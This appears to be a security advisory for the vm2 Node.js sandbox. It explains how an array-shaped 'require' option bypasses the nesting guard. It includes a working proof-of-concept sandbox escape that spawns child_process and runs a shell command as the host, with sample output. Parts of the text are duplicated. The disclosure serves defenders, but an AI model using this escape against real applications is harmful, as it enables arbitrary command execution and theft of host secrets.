Summary
The NodeVM constructor computes hasRealRequireConfig using typeof requireOpts === 'object' && requireOpts !== null, so require: [] bypasses the guard intended to reject nesting without an explicit require configuration. makeResolverFromLegacyOptions() then destructures the array to undefined option fields and returns a resolver containing only NESTING_OVERRIDE.vm2. Any attacker whose JavaScript is executed by a downstream NodeVM configured with {nesting: true, require: []} can load the host vm2 module, create an inner NodeVM with an attacker-selected builtin allowlist, and execute commands as the host process. No equivalent plain-object validation exists in makeResolverFromLegacyOptions().
Array is converted into the vm2-only resolver:
|
function makeResolverFromLegacyOptions(options, override, compiler) { |
|
if (!options) { |
|
if (!override) return DENY_RESOLVER; |
|
const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override); |
|
return new Resolver(DEFAULT_FS, [], builtins); |
|
} |
|
|
|
const { |
|
builtin: builtinOpt, |
|
mock: mockOpt, |
|
external: externalOpt, |
|
root: rootPaths, |
|
resolve: customResolver, |
|
customRequire: hostRequire = defaultRequire, |
|
context = 'host', |
|
strict = true, |
|
fs: fsOpt = DEFAULT_FS, |
|
} = options; |
|
|
|
const builtins = makeBuiltinsFromLegacyOptions(builtinOpt, hostRequire, mockOpt, override); |
|
|
|
if (!externalOpt) return new Resolver(fsOpt, [], builtins); |
Nesting loader returns the host VM constructors:
|
function vm2NestingLoader(vm) { |
|
if (!cacheMakeNestingScript) { |
|
cacheMakeNestingScript = compileScript('nesting.js', '(vm, nodevm) => ({VM: vm, NodeVM: nodevm})'); |
|
} |
|
const makeNesting = vm._runScript(cacheMakeNestingScript); |
|
return makeNesting(vm.readonly(VM), vm.readonly(NodeVM)); |
Proof of Concept
Preconditions:
- The host creates
NodeVM with truthy nesting and array-shaped require.
- The attacker can supply JavaScript executed by that
NodeVM.
'use strict';
const {NodeVM} = require('./index.js');
const outer = new NodeVM({nesting: true, require: []});
const result = outer.run(`
const {NodeVM} = require('vm2');
const inner = new NodeVM({require: {builtin: ['child_process']}});
module.exports = inner.run(
"module.exports = require('child_process').execSync('id').toString()"
);
`);
console.log(result);
uid=1000(lohar) gid=1000(lohar) groups=1000(lohar)
The hasRealRequireConfig guard fails open because it returns true for arrays, although arrays are not VMRequire configuration objects. makeResolverFromLegacyOptions() applies object destructuring to the array, obtains undefined builtin and external values, merges NESTING_OVERRIDE, and returns before any external-module control is relevant. Outer builtin restrictions do not constrain the attacker-created inner NodeVM, whose require configuration is selected inside the sandbox.
Failed shape check:
|
const hasRealRequireConfig = |
|
requireOpts instanceof Resolver |
|
|| (typeof requireOpts === 'object' && requireOpts !== null); |
|
if (nesting && !hasRealRequireConfig) { |
Impact
An attacker can execute arbitrary commands with the host Node.js process privileges, including reading secrets, modifying files, and accessing the host network. GHSA-m4wx-m65x-ghrr covers the same nesting primitive but does not cover array-shaped require values and incorrectly identifies 3.11.4 as patched.
Exploitation is limited to downstream applications that enable nesting and pass the malformed array configuration.
Summary
The
NodeVMconstructor computeshasRealRequireConfigusingtypeof requireOpts === 'object' && requireOpts !== null, sorequire: []bypasses the guard intended to rejectnestingwithout an explicit require configuration.makeResolverFromLegacyOptions()then destructures the array to undefined option fields and returns a resolver containing onlyNESTING_OVERRIDE.vm2. Any attacker whose JavaScript is executed by a downstreamNodeVMconfigured with{nesting: true, require: []}can load the hostvm2module, create an innerNodeVMwith an attacker-selected builtin allowlist, and execute commands as the host process. No equivalent plain-object validation exists inmakeResolverFromLegacyOptions().Array is converted into the vm2-only resolver:
vm2/lib/resolver-compat.js
Lines 205 to 226 in 54b54b7
Nesting loader returns the host VM constructors:
vm2/lib/nodevm.js
Lines 640 to 645 in 54b54b7
Proof of Concept
Preconditions:
NodeVMwith truthynestingand array-shapedrequire.NodeVM.The
hasRealRequireConfigguard fails open because it returnstruefor arrays, although arrays are notVMRequireconfiguration objects.makeResolverFromLegacyOptions()applies object destructuring to the array, obtains undefinedbuiltinandexternalvalues, mergesNESTING_OVERRIDE, and returns before any external-module control is relevant. Outer builtin restrictions do not constrain the attacker-created innerNodeVM, whoserequireconfiguration is selected inside the sandbox.Failed shape check:
vm2/lib/nodevm.js
Lines 304 to 307 in 54b54b7
Impact
An attacker can execute arbitrary commands with the host Node.js process privileges, including reading secrets, modifying files, and accessing the host network. GHSA-m4wx-m65x-ghrr covers the same nesting primitive but does not cover array-shaped
requirevalues and incorrectly identifies 3.11.4 as patched.